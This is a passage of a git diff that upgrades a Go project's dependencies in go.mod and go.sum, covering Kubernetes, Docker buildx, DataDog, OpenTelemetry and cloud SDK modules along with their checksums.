gopkg.in/DataDog/dd-trace-go.v1 v1.64.1 + go.uber.org/zap v1.27.0 + gocloud.dev v0.40.0 + golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa + google.golang.org/grpc v1.70.0 + google.golang.org/protobuf v1.36.5 + gopkg.in/DataDog/dd-trace-go.v1 v1.72.1 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 - k8s.io/api v0.30.1 - k8s.io/apimachinery v0.30.1 - sigs.k8s.io/controller-runtime v0.18.4 + k8s.io/api v0.32.2 + k8s.io/apimachinery v0.32.2 + k8s.io/client-go v0.32.2 + sigs.k8s.io/controller-runtime v0.20.2 ) require ( - cloud.google.com/go v0.114.0 // indirect - cloud.google.com/go/auth v0.5.1 // indirect - cloud.google.com/go/auth/oauth2adapt v0.2.2 // indirect - cloud.google.com/go/compute/metadata v0.3.0 // indirect - cloud.google.com/go/iam v1.1.8 // indirect - cloud.google.com/go/storage v1.41.0 // indirect - dario.cat/mergo v1.0.0 // indirect - github.com/AdaLogics/go-fuzz-headers v0.0.0-20230811130428-ced1acdcaa24 // indirect + cel.dev/expr v0.19.0 // indirect + cloud.google.com/go v0.116.0 // indirect + cloud.google.com/go/auth v0.13.0 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.6 // indirect + cloud.google.com/go/compute/metadata v0.6.0 // indirect + cloud.google.com/go/iam v1.2.2 // indirect + cloud.google.com/go/monitoring v1.21.2 // indirect + cloud.google.com/go/storage v1.49.0 // indirect + dario.cat/mergo v1.0.1 // indirect + github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 // indirect github.com/AlecAivazis/survey/v2 v2.3.7 // indirect - github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0 // indirect - github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2 // indirect - github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0 // indirect - github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.3.2 // indirect - github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect + github.com/Azure/azure-sdk-for-go/sdk/azcore v1.16.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.8.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/internal v1.10.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.5.0 // indirect + github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect github.com/Azure/go-autorest v14.2.0+incompatible // indirect github.com/Azure/go-autorest/autorest/to v0.4.0 // indirect - github.com/AzureAD/microsoft-authentication-library-for-go v1.2.2 // indirect - github.com/DataDog/appsec-internal-go v1.6.0 // indirect - github.com/DataDog/datadog-agent/pkg/obfuscate v0.54.0 // indirect - github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.54.0 // indirect - github.com/DataDog/go-libddwaf/v2 v2.4.2 // indirect - github.com/DataDog/go-sqllexer v0.0.12 // indirect + github.com/AzureAD/microsoft-authentication-library-for-go v1.3.2 // indirect + github.com/DataDog/appsec-internal-go v1.9.0 // indirect + github.com/DataDog/datadog-agent/pkg/obfuscate v0.58.0 // indirect + github.com/DataDog/datadog-agent/pkg/proto v0.58.0 // indirect + github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.58.0 // indirect + github.com/DataDog/datadog-agent/pkg/trace v0.58.0 // indirect + github.com/DataDog/datadog-agent/pkg/util/log v0.58.0 // indirect + github.com/DataDog/datadog-agent/pkg/util/scrubber v0.58.0 // indirect + github.com/DataDog/go-libddwaf/v3 v3.5.1 // indirect + github.com/DataDog/go-runtime-metrics-internal v0.0.4-0.20241206090539-a14610dc22b6 // indirect + github.com/DataDog/go-sqllexer v0.0.14 // indirect github.com/DataDog/go-tuf v1.1.0-0.5.2 // indirect github.com/DataDog/gostackparse v0.7.0 // indirect + github.com/DataDog/opentelemetry-mapping-go/pkg/otlp/attributes v0.20.0 // indirect github.com/DataDog/sketches-go v1.4.5 // indirect + github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.25.0 // indirect + github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.48.1 // indirect + github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.48.1 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/Microsoft/go-winio v0.6.2 // indirect - github.com/Microsoft/hcsshim v0.12.4 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect - github.com/aws/aws-sdk-go v1.53.19 // indirect - github.com/aws/aws-sdk-go-v2 v1.27.2 // indirect - github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.17.18 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.5 // indirect - github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.24 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.9 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.9 // indirect - github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.9 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.11 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.11 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.9 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.20.11 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.5 // indirect - github.com/aws/aws-sdk-go-v2/service/sts v1.28.12 // indirect - github.com/aws/smithy-go v1.20.2 // indirect - github.com/benbjohnson/clock v1.3.5 // indirect + github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect + github.com/aws/aws-sdk-go v1.55.5 // indirect + github.com/aws/aws-sdk-go-v2 v1.36.2 // indirect + github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.10 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.17.60 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.29 // indirect + github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.10 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.33 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.33 // indirect + github.com/aws/aws-sdk-go-v2/internal/ini v1.8.3 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.33 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.3 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.6.1 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.14 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.14 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.24.16 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.15 // indirect + github.com/aws/aws-sdk-go-v2/service/sts v1.33.15 // indirect + github.com/aws/smithy-go v1.22.2 // indirect + github.com/benbjohnson/clock v1.3.0 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/buger/goterm v1.0.4 // indirect github.com/cenkalti/backoff/v4 v4.3.0 // indirect + github.com/census-instrumentation/opencensus-proto v0.4.1 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/cihub/seelog v0.0.0-20170130134532-f561c5e57575 // indirect + github.com/cncf/xds/go v0.0.0-20240905190251-b4127c9b8d78 // indirect github.com/containerd/console v1.0.4 // indirect - github.com/containerd/containerd v1.7.18 // indirect - github.com/containerd/continuity v0.4.3 // indirect - github.com/containerd/errdefs v0.1.0 // indirect + github.com/containerd/containerd/api v1.8.0 // indirect + github.com/containerd/containerd/v2 v2.0.2 // indirect + github.com/containerd/continuity v0.4.5 // indirect + github.com/containerd/errdefs v1.0.0 // indirect + github.com/containerd/errdefs/pkg v0.3.0 // indirect github.com/containerd/log v0.1.0 // indirect - github.com/containerd/platforms v0.2.0 // indirect - github.com/containerd/ttrpc v1.2.4 // indirect - github.com/containerd/typeurl/v2 v2.1.1 // indirect + github.com/containerd/platforms v1.0.0-rc.1 // indirect + github.com/containerd/ttrpc v1.2.7 // indirect + github.com/containerd/typeurl/v2 v2.2.3 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/distribution/reference v0.6.0 // indirect - github.com/docker/buildx v0.14.1 // indirect + github.com/docker/buildx v0.21.1 // indirect + github.com/docker/cli-docs-tool v0.9.0 // indirect github.com/docker/distribution v2.8.3+incompatible // indirect github.com/docker/docker-credential-helpers v0.8.2 // indirect github.com/docker/go v1.5.1-1.0.20160303222718-d30aec9fd63c // indirect @@ -104,180 +129,197 @@ require ( github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/go-units v0.5.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect - github.com/ebitengine/purego v0.7.1 // indirect + github.com/eapache/queue/v2 v2.0.0-20230407133247-75960ed334e4 // indirect + github.com/ebitengine/purego v0.6.0-alpha.5 // indirect github.com/eiannone/keyboard v0.0.0-20220611211555-0d226195f203 // indirect - github.com/emicklei/go-restful/v3 v3.12.1 // indirect - github.com/evanphx/json-patch v5.9.0+incompatible // indirect - github.com/evanphx/json-patch/v5 v5.9.0 // indirect + github.com/emicklei/go-restful/v3 v3.11.0 // indirect + github.com/envoyproxy/go-control-plane v0.13.1 // indirect + github.com/envoyproxy/protoc-gen-validate v1.1.0 // indirect + github.com/evanphx/json-patch/v5 v5.9.11 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect github.com/fsnotify/fsevents v0.2.0 // indirect github.com/fsnotify/fsnotify v1.7.0 // indirect github.com/fvbommel/sortorder v1.1.0 // indirect - github.com/gabriel-vasile/mimetype v1.4.4 // indirect + github.com/fxamacker/cbor/v2 v2.7.0 // indirect + github.com/gabriel-vasile/mimetype v1.4.8 // indirect github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect + github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-openapi/jsonpointer v0.21.0 // indirect - github.com/go-openapi/jsonreference v0.21.0 // indirect + github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/swag v0.23.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-viper/mapstructure/v2 v2.0.0 // indirect - github.com/gofrs/flock v0.8.1 // indirect - github.com/gogo/googleapis v1.4.1 // indirect + github.com/gofrs/flock v0.12.1 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang-jwt/jwt/v5 v5.2.1 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/golang/snappy v0.0.4 // indirect + github.com/google/btree v1.1.3 // indirect github.com/google/gnostic-models v0.6.8 // indirect github.com/google/go-cmp v0.6.0 // indirect github.com/google/gofuzz v1.2.0 // indirect - github.com/google/pprof v0.0.0-20240528025155-186aa0362fba // indirect - github.com/google/s2a-go v0.1.7 // indirect + github.com/google/pprof v0.0.0-20241029153458-d1b30febd7db // indirect + github.com/google/s2a-go v0.1.8 // indirect github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect github.com/google/uuid v1.6.0 // indirect github.com/google/wire v0.6.0 // indirect - github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect - github.com/googleapis/gax-go/v2 v2.12.4 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect + github.com/googleapis/gax-go/v2 v2.14.1 // indirect github.com/gorilla/mux v1.8.1 // indirect - github.com/gorilla/websocket v1.5.1 // indirect - github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.20.0 // indirect + github.com/gorilla/websocket v1.5.3 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.22.0 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect + github.com/hashicorp/go-secure-stdlib/parseutil v0.1.7 // indirect + github.com/hashicorp/go-secure-stdlib/strutil v0.1.2 // indirect + github.com/hashicorp/go-sockaddr v1.0.2 // indirect github.com/hashicorp/go-version v1.7.0 // indirect github.com/hashicorp/hcl v1.0.1-vault-5 // indirect - github.com/imdario/mergo v0.3.16 // indirect - github.com/in-toto/in-toto-golang v0.9.0 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect - github.com/jonboulle/clockwork v0.4.0 // indirect + github.com/jonboulle/clockwork v0.5.0 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect - github.com/klauspost/compress v1.17.8 // indirect + github.com/klauspost/compress v1.17.11 // indirect github.com/kylelemons/godebug v1.1.0 // indirect github.com/leodido/go-urn v1.4.0 // indirect + github.com/lufia/plan9stats v0.0.0-20220913051719-115f729f3c8c // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.15 // indirect github.com/mattn/go-shellwords v1.0.12 // indirect - github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect + github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect github.com/miekg/pkcs11 v1.1.1 // indirect - github.com/mitchellh/copystructure v1.2.0 // indirect - github.com/mitchellh/mapstructure v1.5.0 // indirect - github.com/mitchellh/reflectwalk v1.0.2 // indirect - github.com/moby/buildkit v0.13.2 // indirect + github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect + github.com/mitchellh/mapstructure v1.5.1-0.20231216201459-8508981c8b6c // indirect + github.com/moby/buildkit v0.20.0 // indirect github.com/moby/docker-image-spec v1.3.1 // indirect github.com/moby/locker v1.0.1 // indirect github.com/moby/patternmatcher v0.6.0 // indirect - github.com/moby/spdystream v0.2.0 // indirect - github.com/moby/sys/mountinfo v0.7.1 // indirect - github.com/moby/sys/sequential v0.5.0 // indirect - github.com/moby/sys/signal v0.7.0 // indirect - github.com/moby/sys/symlink v0.2.0 // indirect - github.com/moby/sys/user v0.1.0 // indirect - github.com/moby/term v0.5.0 // indirect + github.com/moby/spdystream v0.5.0 // indirect + github.com/moby/sys/capability v0.4.0 // indirect + github.com/moby/sys/mountinfo v0.7.2 // indirect + github.com/moby/sys/sequential v0.6.0 // indirect + github.com/moby/sys/signal v0.7.1 // indirect + github.com/moby/sys/symlink v0.3.0 // indirect + github.com/moby/sys/user v0.3.0 // indirect + github.com/moby/sys/userns v0.1.0 // indirect + github.com/moby/term v0.5.2 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/montanaflynn/stats v0.7.1 // indirect github.com/morikuni/aec v1.0.0 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f // indirect - github.com/nicksnyder/go-i18n/v2 v2.4.0 // indirect + github.com/nicksnyder/go-i18n/v2 v2.4.1 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.1.0 // indirect github.com/outcaste-io/ristretto v0.2.3 // indirect github.com/pelletier/go-toml v1.9.5 // indirect - github.com/pelletier/go-toml/v2 v2.2.2 // indirect - github.com/philhofer/fwd v1.1.2 // indirect + github.com/pelletier/go-toml/v2 v2.2.3 // indirect + github.com/philhofer/fwd v1.1.3-0.20240612014219-fbbf4953d986 // indirect github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect - github.com/pkg/errors v0.9.1 // indirect + github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect - github.com/prometheus/client_golang v1.19.1 // indirect + github.com/power-devops/perfstat v0.0.0-20220216144756-c35f1ee13d7c // indirect + github.com/prometheus/client_golang v1.20.5 // indirect github.com/prometheus/client_model v0.6.1 // indirect - github.com/prometheus/common v0.54.0 // indirect + github.com/prometheus/common v0.55.0 // indirect github.com/prometheus/procfs v0.15.1 // indirect github.com/r3labs/sse v0.0.0-20210224172625-26fe804710bc // indirect - github.com/richardartoul/molecule v1.0.1-0.20221107223329-32cfee06a052 // indirect - github.com/rivo/uniseg v0.4.7 // indirect - github.com/sagikazarmark/locafero v0.6.0 // indirect + github.com/richardartoul/molecule v1.0.1-0.20240531184615-7ca0df43c0b3 // indirect + github.com/rivo/uniseg v0.4.4 // indirect + github.com/ryanuber/go-glob v1.0.0 // indirect + github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect - github.com/secure-systems-lab/go-securesystemslib v0.8.0 // indirect + github.com/secure-systems-lab/go-securesystemslib v0.7.0 // indirect github.com/serialx/hashring v0.0.0-20200727003509-22c0c7ab6b1b // indirect github.com/shibumi/go-pathspec v1.3.0 // indirect + github.com/shirou/gopsutil/v3 v3.24.4 // indirect + github.com/shoenig/go-m1cpu v0.1.6 // indirect + github.com/sirupsen/logrus v1.9.3 // indirect github.com/skratchdot/open-golang v0.0.0-20200116055534-eef842397966 // indirect github.com/sourcegraph/conc v0.3.0 // indirect github.com/spaolacci/murmur3 v1.1.0 // indirect github.com/spf13/cast v1.6.0 // indirect - github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/pflag v1.0.6 // indirect github.com/stretchr/objx v0.5.2 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/theupdateframework/notary v0.7.0 // indirect github.com/tilt-dev/fsnotify v1.4.8-0.20220602155310-fff9c274a375 // indirect - github.com/tinylib/msgp v1.1.9 // indirect - github.com/tonistiigi/fsutil v0.0.0-20240424095704-91a3fc46842c // indirect + github.com/tinylib/msgp v1.2.1 // indirect + github.com/tklauser/go-sysconf v0.3.12 // indirect + github.com/tklauser/numcpus v0.6.1 // indirect + github.com/tonistiigi/dchapes-mode v0.0.0-20241001053921-ca0759fec205 // indirect + github.com/tonistiigi/fsutil v0.0.0-20250113203817-b14e27f4135a // indirect + github.com/tonistiigi/go-csvvalue v0.0.0-20240710180619-ddb21b71c0b4 // indirect github.com/tonistiigi/units v0.0.0-20180711220420-6950e57a87ea // indirect github.com/tonistiigi/vt100 v0.0.0-20240514184818-90bafcd6abab // indirect + github.com/x448/float16 v0.8.4 // indirect github.com/xdg-go/pbkdf2 v1.0.0 // indirect github.com/xdg-go/scram v1.1.2 // indirect github.com/xdg-go/stringprep v1.0.4 // indirect github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect github.com/xeipuuv/gojsonschema v1.2.0 // indirect - github.com/youmark/pkcs8 v0.0.0-20240424034433-3c2c7870ae76 // indirect + github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect + github.com/yusufpapurcu/wmi v1.2.4 // indirect + github.com/zclconf/go-cty v1.16.0 // indirect go.opencensus.io v0.24.0 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.52.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.52.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0 // indirect - go.opentelemetry.io/otel v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.27.0 // indirect - go.opentelemetry.io/otel/exporters/prometheus v0.49.0 // indirect - go.opentelemetry.io/otel/metric v1.27.0 // indirect - go.opentelemetry.io/otel/sdk v1.27.0 // indirect - go.opentelemetry.io/otel/sdk/metric v1.27.0 // indirect - go.opentelemetry.io/otel/trace v1.27.0 // indirect - go.opentelemetry.io/proto/otlp v1.2.0 // indirect + go.opentelemetry.io/collector/component v0.104.0 // indirect + go.opentelemetry.io/collector/config/configtelemetry v0.104.0 // indirect + go.opentelemetry.io/collector/pdata v1.11.0 // indirect + go.opentelemetry.io/collector/pdata/pprofile v0.104.0 // indirect + go.opentelemetry.io/collector/semconv v0.104.0 // indirect + go.opentelemetry.io/contrib/detectors/gcp v1.32.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.56.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.56.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.56.0 // indirect + go.opentelemetry.io/otel v1.32.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.31.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.31.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.31.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.31.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.31.0 // indirect + go.opentelemetry.io/otel/metric v1.32.0 // indirect + go.opentelemetry.io/otel/sdk v1.32.0 // indirect + go.opentelemetry.io/otel/sdk/metric v1.32.0 // indirect + go.opentelemetry.io/otel/trace v1.32.0 // indirect + go.opentelemetry.io/proto/otlp v1.3.1 // indirect go.uber.org/atomic v1.11.0 // indirect - go.uber.org/mock v0.4.0 // indirect + go.uber.org/mock v0.5.0 // indirect go.uber.org/multierr v1.11.0 // indirect - golang.org/x/crypto v0.24.0 // indirect - golang.org/x/oauth2 v0.21.0 // indirect - golang.org/x/sync v0.7.0 // indirect - golang.org/x/sys v0.21.0 // indirect - golang.org/x/term v0.21.0 // indirect - golang.org/x/time v0.5.0 // indirect - golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect + golang.org/x/crypto v0.32.0 // indirect + golang.org/x/mod v0.23.0 // indirect + golang.org/x/net v0.34.0 // indirect + golang.org/x/oauth2 v0.25.0 // indirect + golang.org/x/sync v0.11.0 // indirect + golang.org/x/sys v0.30.0 // indirect + golang.org/x/term v0.28.0 // indirect + golang.org/x/text v0.21.0 // indirect + golang.org/x/time v0.8.0 // indirect + golang.org/x/xerrors v0.0.0-20240716161551-93cc26a95ae9 // indirect gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect - google.golang.org/api v0.183.0 // indirect - google.golang.org/genproto v0.0.0-20240604185151-ef581f913117 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20240604185151-ef581f913117 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240604185151-ef581f913117 // indirect + google.golang.org/api v0.215.0 // indirect + google.golang.org/genproto v0.0.0-20241118233622-e639e219e697 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20241209162323-e6fa225c2576 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20241223144023-3abc09e42ca8 // indirect gopkg.in/cenkalti/backoff.v1 v1.1.0 // indirect + gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect - k8s.io/apiextensions-apiserver v0.30.1 // indirect - k8s.io/apiserver v0.30.1 // indirect - k8s.io/klog/v2 v2.120.1 // indirect - k8s.io/kube-openapi v0.0.0-20240521193020-835d969ad83a // indirect - k8s.io/utils v0.0.0-20240502163921-fe8a2dddb1d0 // indirect - sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect - sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect + k8s.io/apiextensions-apiserver v0.32.1 // indirect + k8s.io/klog/v2 v2.130.1 // indirect + k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f // indirect + k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 // indirect + sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 // indirect + sigs.k8s.io/structured-merge-diff/v4 v4.4.2 // indirect sigs.k8s.io/yaml v1.4.0 // indirect - tags.cncf.io/container-device-interface v0.7.2 // indirect -) - -require ( - github.com/oklog/ulid/v2 v2.1.0 - github.com/sirupsen/logrus v1.9.3 - github.com/spf13/viper v1.19.0 - golang.org/x/net v0.26.0 // indirect - golang.org/x/text v0.16.0 // indirect - k8s.io/client-go v0.30.1 + tags.cncf.io/container-device-interface v0.8.0 // indirect ) diff --git a/go.sum b/go.sum index 5241a49d5..4a6a4ac64 100644 --- a/go.sum +++ b/go.sum @@ -1,72 +1,106 @@ +cel.dev/expr v0.19.0 h1:lXuo+nDhpyJSpWxpPVi5cPUwzKb+dsdOiw6IreM5yt0= +cel.dev/expr v0.19.0/go.mod h1:MrpN08Q+lEBs+bGYdLxxHkZoUSsCp0nSKTs0nTymJgw= cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.114.0 h1:OIPFAdfrFDFO2ve2U7r/H5SwSbBzEdrBdE7xkgwc+kY= -cloud.google.com/go v0.114.0/go.mod h1:ZV9La5YYxctro1HTPug5lXH/GefROyW8PPD4T8n9J8E= -cloud.google.com/go/auth v0.5.1 h1:0QNO7VThG54LUzKiQxv8C6x1YX7lUrzlAa1nVLF8CIw= -cloud.google.com/go/auth v0.5.1/go.mod h1:vbZT8GjzDf3AVqCcQmqeeM32U9HBFc32vVVAbwDsa6s= -cloud.google.com/go/auth/oauth2adapt v0.2.2 h1:+TTV8aXpjeChS9M+aTtN/TjdQnzJvmzKFt//oWu7HX4= -cloud.google.com/go/auth/oauth2adapt v0.2.2/go.mod h1:wcYjgpZI9+Yu7LyYBg4pqSiaRkfEK3GQcpb7C/uyF1Q= -cloud.google.com/go/compute/metadata v0.3.0 h1:Tz+eQXMEqDIKRsmY3cHTL6FVaynIjX2QxYC4trgAKZc= -cloud.google.com/go/compute/metadata v0.3.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= -cloud.google.com/go/iam v1.1.8 h1:r7umDwhj+BQyz0ScZMp4QrGXjSTI3ZINnpgU2nlB/K0= -cloud.google.com/go/iam v1.1.8/go.mod h1:GvE6lyMmfxXauzNq8NbgJbeVQNspG+tcdL/W8QO1+zE= -cloud.google.com/go/storage v1.41.0 h1:RusiwatSu6lHeEXe3kglxakAmAbfV+rhtPqA6i8RBx0= -cloud.google.com/go/storage v1.41.0/go.mod h1:J1WCa/Z2FcgdEDuPUY8DxT5I+d9mFKsCepp5vR6Sq80= -dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= -dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= +cloud.google.com/go v0.116.0 h1:B3fRrSDkLRt5qSHWe40ERJvhvnQwdZiHu0bJOpldweE= +cloud.google.com/go v0.116.0/go.mod h1:cEPSRWPzZEswwdr9BxE6ChEn01dWlTaF05LiC2Xs70U= +cloud.google.com/go/auth v0.13.0 h1:8Fu8TZy167JkW8Tj3q7dIkr2v4cndv41ouecJx0PAHs= +cloud.google.com/go/auth v0.13.0/go.mod h1:COOjD9gwfKNKz+IIduatIhYJQIc0mG3H102r/EMxX6Q= +cloud.google.com/go/auth/oauth2adapt v0.2.6 h1:V6a6XDu2lTwPZWOawrAa9HUK+DB2zfJyTuciBG5hFkU= +cloud.google.com/go/auth/oauth2adapt v0.2.6/go.mod h1:AlmsELtlEBnaNTL7jCj8VQFLy6mbZv0s4Q7NGBeQ5E8= +cloud.google.com/go/compute/metadata v0.6.0 h1:A6hENjEsCDtC1k8byVsgwvVcioamEHvZ4j01OwKxG9I= +cloud.google.com/go/compute/metadata v0.6.0/go.mod h1:FjyFAW1MW0C203CEOMDTu3Dk1FlqW3Rga40jzHL4hfg= +cloud.google.com/go/iam v1.2.2 h1:ozUSofHUGf/F4tCNy/mu9tHLTaxZFLOUiKzjcgWHGIA= +cloud.google.com/go/iam v1.2.2/go.mod h1:0Ys8ccaZHdI1dEUilwzqng/6ps2YB6vRsjIe00/+6JY= +cloud.google.com/go/logging v1.12.0 h1:ex1igYcGFd4S/RZWOCU51StlIEuey5bjqwH9ZYjHibk= +cloud.google.com/go/logging v1.12.0/go.mod h1:wwYBt5HlYP1InnrtYI0wtwttpVU1rifnMT7RejksUAM= +cloud.google.com/go/longrunning v0.6.2 h1:xjDfh1pQcWPEvnfjZmwjKQEcHnpz6lHjfy7Fo0MK+hc= +cloud.google.com/go/longrunning v0.6.2/go.mod h1:k/vIs83RN4bE3YCswdXC5PFfWVILjm3hpEUlSko4PiI= +cloud.google.com/go/monitoring v1.21.2 h1:FChwVtClH19E7pJ+e0xUhJPGksctZNVOk2UhMmblmdU= 